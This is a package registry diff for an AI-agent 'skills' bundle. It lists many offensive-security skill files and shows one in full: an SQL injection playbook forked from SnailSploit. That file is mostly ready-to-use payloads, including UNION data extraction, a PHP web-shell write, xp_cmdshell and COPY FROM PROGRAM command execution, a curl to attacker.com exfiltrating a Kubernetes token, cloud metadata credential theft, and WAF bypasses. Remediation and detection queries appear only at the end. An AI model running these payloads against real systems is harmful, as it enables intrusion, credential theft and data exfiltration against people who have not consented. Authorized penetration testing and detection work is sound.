@aegis-scan/skills 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (69) hide show
  1. package/ATTRIBUTION.md +75 -0
  2. package/CHANGELOG.md +129 -0
  3. package/LICENSE +21 -0
  4. package/README.md +123 -0
  5. package/dist/bin.d.ts +3 -0
  6. package/dist/bin.d.ts.map +1 -0
  7. package/dist/bin.js +122 -0
  8. package/dist/bin.js.map +1 -0
  9. package/dist/commands/info.d.ts +5 -0
  10. package/dist/commands/info.d.ts.map +1 -0
  11. package/dist/commands/info.js +75 -0
  12. package/dist/commands/info.js.map +1 -0
  13. package/dist/commands/install.d.ts +7 -0
  14. package/dist/commands/install.d.ts.map +1 -0
  15. package/dist/commands/install.js +87 -0
  16. package/dist/commands/install.js.map +1 -0
  17. package/dist/commands/list.d.ts +7 -0
  18. package/dist/commands/list.d.ts.map +1 -0
  19. package/dist/commands/list.js +82 -0
  20. package/dist/commands/list.js.map +1 -0
  21. package/dist/index.d.ts +13 -0
  22. package/dist/index.d.ts.map +1 -0
  23. package/dist/index.js +13 -0
  24. package/dist/index.js.map +1 -0
  25. package/dist/skills-loader.d.ts +23 -0
  26. package/dist/skills-loader.d.ts.map +1 -0
  27. package/dist/skills-loader.js +213 -0
  28. package/dist/skills-loader.js.map +1 -0
  29. package/package.json +63 -0
  30. package/skills/defensive/README.md +9 -0
  31. package/skills/mitre-mapped/README.md +10 -0
  32. package/skills/offensive/snailsploit-fork/advanced-redteam/SKILL.md +148 -0
  33. package/skills/offensive/snailsploit-fork/ai-security/SKILL.md +592 -0
  34. package/skills/offensive/snailsploit-fork/basic-exploitation/SKILL.md +10783 -0
  35. package/skills/offensive/snailsploit-fork/bug-identification/SKILL.md +1256 -0
  36. package/skills/offensive/snailsploit-fork/crash-analysis/SKILL.md +12466 -0
  37. package/skills/offensive/snailsploit-fork/deserialization/SKILL.md +185 -0
  38. package/skills/offensive/snailsploit-fork/edr-evasion/SKILL.md +1806 -0
  39. package/skills/offensive/snailsploit-fork/exploit-dev-course/SKILL.md +428 -0
  40. package/skills/offensive/snailsploit-fork/exploit-development/SKILL.md +699 -0
  41. package/skills/offensive/snailsploit-fork/fast-checking/SKILL.md +487 -0
  42. package/skills/offensive/snailsploit-fork/file-upload/SKILL.md +822 -0
  43. package/skills/offensive/snailsploit-fork/fuzzing/SKILL.md +340 -0
  44. package/skills/offensive/snailsploit-fork/fuzzing-course/SKILL.md +2105 -0
  45. package/skills/offensive/snailsploit-fork/graphql/SKILL.md +209 -0
  46. package/skills/offensive/snailsploit-fork/idor/SKILL.md +608 -0
  47. package/skills/offensive/snailsploit-fork/initial-access/SKILL.md +1528 -0
  48. package/skills/offensive/snailsploit-fork/jwt/SKILL.md +276 -0
  49. package/skills/offensive/snailsploit-fork/keylogger-arch/SKILL.md +197 -0
  50. package/skills/offensive/snailsploit-fork/mitigations/SKILL.md +1351 -0
  51. package/skills/offensive/snailsploit-fork/oauth/SKILL.md +366 -0
  52. package/skills/offensive/snailsploit-fork/open-redirect/SKILL.md +487 -0
  53. package/skills/offensive/snailsploit-fork/osint/SKILL.md +399 -0
  54. package/skills/offensive/snailsploit-fork/osint-methodology/SKILL.md +434 -0
  55. package/skills/offensive/snailsploit-fork/parameter-pollution/SKILL.md +595 -0
  56. package/skills/offensive/snailsploit-fork/race-condition/SKILL.md +881 -0
  57. package/skills/offensive/snailsploit-fork/rce/SKILL.md +1069 -0
  58. package/skills/offensive/snailsploit-fork/request-smuggling/SKILL.md +773 -0
  59. package/skills/offensive/snailsploit-fork/shellcode/SKILL.md +477 -0
  60. package/skills/offensive/snailsploit-fork/sqli/SKILL.md +372 -0
  61. package/skills/offensive/snailsploit-fork/ssrf/SKILL.md +830 -0
  62. package/skills/offensive/snailsploit-fork/ssti/SKILL.md +349 -0
  63. package/skills/offensive/snailsploit-fork/vuln-classes/SKILL.md +1229 -0
  64. package/skills/offensive/snailsploit-fork/waf-bypass/SKILL.md +820 -0
  65. package/skills/offensive/snailsploit-fork/windows-boundaries/SKILL.md +15153 -0
  66. package/skills/offensive/snailsploit-fork/windows-mitigations/SKILL.md +14546 -0
  67. package/skills/offensive/snailsploit-fork/xss/SKILL.md +784 -0
  68. package/skills/offensive/snailsploit-fork/xxe/SKILL.md +996 -0
  69. package/skills/ops/README.md +6 -0
@@ -0,0 +1,372 @@
1
+ <!-- aegis-local: forked 2026-04-23 from SnailSploit/Claude-Red@c74d53e2938b59f111572e0819265a1e73029393; attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: offensive-sqli
5
+ description: "SQL injection testing skill for offensive security assessments and bug bounty hunting. Covers error-based, UNION-based, boolean/time-based blind, out-of-band, second-order, NoSQL, GraphQL, WebSocket, and JSON-operator SQLi. Includes WAF bypass techniques, database-specific exploitation (MySQL, MSSQL, PostgreSQL, Oracle), cloud-native attack paths, ORM CVE tracking, and SQLmap automation. Use when performing web application SQL injection testing, database enumeration, privilege escalation via SQLi, or assessing injection vectors in APIs and modern stacks."
6
+ ---
7
+
8
+ # SQL Injection — Offensive Testing Methodology
9
+
10
+ ## Quick Workflow
11
+
12
+ 1. Map all input vectors that reach the database (URL params, POST body, cookies, headers, API filters, WebSocket messages)
13
+ 2. Insert probe payloads to detect classic SQLi; fall back to inferential (boolean/time-based) if no visible error
14
+ 3. Identify database type and enumerate schema
15
+ 4. Exploit to extract data, escalate privileges, or achieve RCE where in scope
16
+ 5. Document findings and suggest remediation
17
+
18
+ ---
19
+
20
+ ## Detection
21
+
22
+ ### Basic Probes — All Input Vectors
23
+
24
+ ```
25
+ ' " ; -- /* */ # ) ( + , \ %
26
+ ' OR '1'='1
27
+ " OR "1"="1
28
+ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
29
+ ```
30
+
31
+ ### Error-Based Detection
32
+
33
+ Trigger syntax errors to reveal database type and query structure:
34
+
35
+ ```
36
+ ' '' ` " "" , % \
37
+ ```
38
+
39
+ Look for: SQL syntax errors, DB version strings, table/column names leaked in responses.
40
+
41
+ ### Boolean-Based Blind
42
+
43
+ ```sql
44
+ ' OR 1=1 --
45
+ ' OR 1=2 --
46
+ ' AND 1=1 --
47
+ ' AND 1=2 --
48
+ ```
49
+
50
+ Observe response size/content differences between true and false conditions.
51
+
52
+ ### Time-Based Blind
53
+
54
+ ```sql
55
+ -- MySQL
56
+ ' OR SLEEP(5) --
57
+ -- PostgreSQL
58
+ ' OR pg_sleep(5) --
59
+ -- MSSQL
60
+ ' WAITFOR DELAY '0:0:5' --
61
+ -- Oracle
62
+ '; BEGIN DBMS_LOCK.SLEEP(5); END; --
63
+ ```
64
+
65
+ ### JSON Operator Probes
66
+
67
+ ```sql
68
+ -- MySQL
69
+ id=1 AND JSON_EXTRACT('{"a":1}', '$.a')=1
70
+ -- PostgreSQL
71
+ id=1 AND '{"a":1}'::jsonb ? 'a'
72
+ ```
73
+
74
+ ### GraphQL → SQLi Pivot
75
+
76
+ ```
77
+ {"query":"query{ users(filter: \"' OR 1=1 --\"){ id email }}"}
78
+ ```
79
+
80
+ ### WebSocket SQLi
81
+
82
+ ```javascript
83
+ const ws = new WebSocket("wss://target.com/api/search");
84
+ ws.send('{"action":"search","query":"test\\\' OR 1=1--"}');
85
+ ```
86
+
87
+ ### REST API Filter Injection
88
+
89
+ ```json
90
+ POST /api/users/search
91
+ {
92
+ "filter": { "name": {"$regex": "admin' OR 1=1--"} },
93
+ "sort": "name'; DROP TABLE users--"
94
+ }
95
+ ```
96
+
97
+ ---
98
+
99
+ ## Automation Workflow
100
+
101
+ ```bash
102
+ # Full pipeline
103
+ sublist3r -d target | tee domains
104
+ cat domains | httpx | tee alive
105
+ cat alive | waybackurls | tee urls
106
+ gf sqli urls >> sqli
107
+ sqlmap -m sqli --dbs --batch
108
+
109
+ # Targeted with Burp capture
110
+ # 1. Capture request → Send to Active Scanner
111
+ # 2. Review SQL findings → manually verify
112
+ # 3. Export request file → sqlmap -r req.txt --dbs
113
+
114
+ # Blind SQLi (Ghauri — faster for time-based)
115
+ ghauri -u "https://target.com/page?id=1" --dbs
116
+
117
+ # Hidden parameter discovery
118
+ hakrawler -url https://target.com | tee crawl
119
+ arjun -i crawl -oJ params.json
120
+ ```
121
+
122
+ ---
123
+
124
+ ## Exploitation
125
+
126
+ ### Determine Column Count (UNION)
127
+
128
+ ```sql
129
+ ' UNION SELECT NULL-- -
130
+ ' UNION SELECT NULL,NULL-- -
131
+ ' UNION SELECT NULL,NULL,NULL-- -
132
+ ```
133
+
134
+ ### Identify String Columns
135
+
136
+ ```sql
137
+ ' UNION SELECT 'a',NULL,NULL-- -
138
+ ' UNION SELECT NULL,'a',NULL-- -
139
+ ```
140
+
141
+ ### Enumerate Schema
142
+
143
+ ```sql
144
+ -- DB version
145
+ ' UNION SELECT @@version -- -- MySQL/MSSQL
146
+ ' UNION SELECT version() -- -- PostgreSQL
147
+ ' UNION SELECT banner FROM v$version -- -- Oracle
148
+
149
+ -- Tables
150
+ ' UNION SELECT table_name,1 FROM information_schema.tables -- -- MySQL/MSSQL/PG
151
+ ' UNION SELECT table_name,1 FROM all_tables -- -- Oracle
152
+
153
+ -- Columns
154
+ ' UNION SELECT column_name,1 FROM information_schema.columns WHERE table_name='users' --
155
+ ```
156
+
157
+ ### Blind Data Extraction
158
+
159
+ ```sql
160
+ -- Boolean character-by-character
161
+ ' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 0,1)='a'-- -
162
+
163
+ -- Time-based conditional
164
+ ' AND (SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users)-- -
165
+ ```
166
+
167
+ ---
168
+
169
+ ## Database-Specific Exploitation
170
+
171
+ ### MySQL / MariaDB
172
+
173
+ ```sql
174
+ -- File read
175
+ ' UNION SELECT LOAD_FILE('/etc/passwd') --
176
+
177
+ -- Write web shell
178
+ ' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php' --
179
+
180
+ -- Schema leak
181
+ ' UNION SELECT table_schema,table_name FROM information_schema.tables
182
+ WHERE table_schema NOT IN ('mysql','information_schema') --
183
+ ```
184
+
185
+ ### MSSQL
186
+
187
+ ```sql
188
+ -- OS command execution
189
+ '; EXEC xp_cmdshell 'net user' --
190
+
191
+ -- Registry read
192
+ '; EXEC xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion','ProductName' --
193
+
194
+ -- Linked server pivot
195
+ '; EXEC ('SELECT * FROM OPENROWSET(''SQLOLEDB'',''Server=linked_server;Trusted_Connection=yes'',''SELECT 1'')') --
196
+ ```
197
+
198
+ ### PostgreSQL
199
+
200
+ ```sql
201
+ -- File read
202
+ ' UNION SELECT pg_read_file('/etc/passwd',0,1000) --
203
+
204
+ -- OS command execution
205
+ '; CREATE TABLE cmd_exec(cmd_output text);
206
+ COPY cmd_exec FROM PROGRAM 'id';
207
+ SELECT * FROM cmd_exec; --
208
+
209
+ -- K8s service account token exfil
210
+ '; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)'; --
211
+ ```
212
+
213
+ ### Oracle
214
+
215
+ ```sql
216
+ -- Privilege enumeration
217
+ ' UNION SELECT * FROM SYS.USER_ROLE_PRIVS --
218
+
219
+ -- PL/SQL execution
220
+ ' BEGIN DBMS_JAVA.RUNJAVA('java.lang.Runtime.getRuntime().exec(''cmd.exe /c dir'')'); END; --
221
+ ```
222
+
223
+ ---
224
+
225
+ ## NoSQL & Graph Injection
226
+
227
+ ### MongoDB
228
+
229
+ ```
230
+ username[$ne]=admin&password[$ne]=
231
+ username[$regex]=^adm&password[$regex]=^pass
232
+ {"$where": "sleep(5000)"}
233
+ {"username": {"$in": ["admin"]}}
234
+ ```
235
+
236
+ ### Neo4j / Cypher (CVE-2024-34517)
237
+
238
+ ```cypher
239
+ -- Normal
240
+ MATCH (u:User) WHERE u.name = 'admin' RETURN u
241
+ -- Bypass
242
+ MATCH (u:User) WHERE u.name = 'admin' OR 1=1 //--' RETURN u
243
+ ```
244
+
245
+ Older Neo4j 5.x (<5.18 / <4.4.26) allowed privilege escalation via IMMUTABLE procedures.
246
+
247
+ ---
248
+
249
+ ## WAF Bypass Techniques
250
+
251
+ | Technique | Example |
252
+ |-----------|---------|
253
+ | Case variation | `SeLeCt`, `UnIoN` |
254
+ | Comment injection | `UN/**/ION SE/**/LECT` |
255
+ | URL encoding | `UNION` → `%55%4E%49%4F%4E` |
256
+ | Hex encoding | `SELECT` → `0x53454C454354` |
257
+ | Whitespace | `UNION/**/SELECT` |
258
+ | Null byte | `%00' UNION SELECT password FROM users--` |
259
+ | Double encoding | `%2f` → `%252f` |
260
+ | String concat | MySQL: `CONCAT('a','b')`, Oracle: `'a'\|\|'b'`, MSSQL: `'a'+'b'` |
261
+ | JSON wrapper | Prefix with dummy JSON `/**/{"a":1}` to confuse WAF parsers |
262
+
263
+ **SQLmap tamper scripts:** Use the Atlas tool to suggest tampers; combine multiple (`--tamper=space2comment,charencode`) for layered WAFs.
264
+
265
+ **HTTP/2 smuggling:** Replay payloads over h2/h2c; HPACK compression can obscure payloads from perimeter WAFs.
266
+
267
+ ---
268
+
269
+ ## Cloud-Specific Attack Paths
270
+
271
+ ### AWS
272
+
273
+ ```sql
274
+ -- IMDSv1 credential theft (legacy environments)
275
+ ' UNION SELECT LOAD_FILE('http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name') --
276
+
277
+ -- RDS Proxy disruption
278
+ '; CALL mysql.rds_kill(CONNECTION_ID()); --
279
+ ```
280
+
281
+ ### Azure
282
+
283
+ ```sql
284
+ -- Azure SQL Managed Instance RCE
285
+ '; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --
286
+ '; EXEC xp_cmdshell 'az vm list'; --
287
+
288
+ -- Instance metadata
289
+ ' UNION SELECT LOAD_FILE('http://169.254.169.254/metadata/instance?api-version=2021-02-01') --
290
+ ```
291
+
292
+ ### GCP Cloud SQL
293
+
294
+ ```sql
295
+ ' UNION SELECT @@global.version_comment, @@hostname --
296
+ ```
297
+
298
+ ### Lambda / Serverless Connection Pool Poisoning
299
+
300
+ ```javascript
301
+ // SET ROLE persists across Lambda invocations when DB connections are reused
302
+ exports.handler = async (event) => {
303
+ await db.query(`SET ROLE '${event.role}'`); // injectable — poisons pool
304
+ return await db.query("SELECT * FROM sensitive_data");
305
+ };
306
+ ```
307
+
308
+ ---
309
+
310
+ ## ORM CVE Tracking (2023–2025)
311
+
312
+ | ORM | CVE / Issue | Vulnerable Pattern |
313
+ |-----|------------|-------------------|
314
+ | Sequelize | CVE-2023-22578 | `sequelize.literal(\`name = '${userInput}'\`)` |
315
+ | TypeORM <0.3.12 | findOne injection | `repository.findOne({ where: \`id = ${id}\` })` |
316
+ | Hibernate 6.x | Query cache poisoning | `session.createQuery("FROM User WHERE name = '" + input + "'")` |
317
+ | Prisma <4.11 | Raw query | `prisma.$executeRawUnsafe(\`SELECT * FROM users WHERE id = ${id}\`)` |
318
+
319
+ **Safe ORM patterns:**
320
+
321
+ ```javascript
322
+ // Sequelize — use replacements
323
+ sequelize.query('SELECT * FROM users WHERE name = :name', { replacements: { name: user } })
324
+ // Prisma — tagged template literal
325
+ await prisma.$queryRaw`SELECT * FROM users WHERE name = ${user}`
326
+ // Knex
327
+ knex('users').whereRaw('name = ?', [user])
328
+ ```
329
+
330
+ ---
331
+
332
+ ## Quick-Reference Cheatsheet
333
+
334
+ | DB | Version | Time Delay | String Concat | Schema Source |
335
+ |----|---------|-----------|--------------|---------------|
336
+ | MySQL | `@@version` | `SLEEP(5)` | `CONCAT('a','b')` | `information_schema.tables` |
337
+ | MSSQL | `@@version` | `WAITFOR DELAY '0:0:5'` | `'a'+'b'` | `information_schema.tables`, `sys.tables` |
338
+ | PostgreSQL | `version()` | `pg_sleep(5)` | `'a'\|\|'b'` | `information_schema.tables` |
339
+ | Oracle | `banner FROM v$version` | `DBMS_PIPE.RECEIVE_MESSAGE('RDS',5)` | `'a'\|\|'b'` | `all_tables`, `all_tab_columns` |
340
+
341
+ ---
342
+
343
+ ## Detection & Monitoring Queries
344
+
345
+ **Splunk:**
346
+
347
+ ```spl
348
+ index=web sourcetype=access_combined
349
+ | regex _raw="(%27)|(\\')|(\\-\\-)|((%3D)|(=))[^\\n]*((%27)|(\\')|(\\-\\-)|(\\%3D))"
350
+ | eval suspected_sqli=if(match(_raw,"(?i)(union|select|insert|update|delete|drop|create|alter|exec)"),"high","low")
351
+ | where suspected_sqli="high"
352
+ | table _time, src_ip, uri, user_agent, status
353
+ ```
354
+
355
+ **AWS CloudWatch Insights (RDS):**
356
+
357
+ ```
358
+ fields @timestamp, @message
359
+ | filter @message like /(?i)(UNION|SELECT.*FROM|INSERT INTO|UPDATE.*SET|DELETE FROM)/
360
+ | filter @message like /(%27|'|--|\\/\\*)/
361
+ | stats count() by bin(5m)
362
+ ```
363
+
364
+ ---
365
+
366
+ ## Key References
367
+
368
+ - MITRE ATT&CK: T1190 (Exploit Public-Facing Application)
369
+ - OWASP ASVS 4.0: V5.3.4 — parameterized queries required
370
+ - PCI DSS 4.0: Requirement 6.2.4 — injection protection mandatory
371
+ - CISA KEV Catalog — monitor for actively exploited SQLi CVEs
372
+ - Source: https://github.com/SnailSploit/offensive-checklist/blob/main/sql-injection.md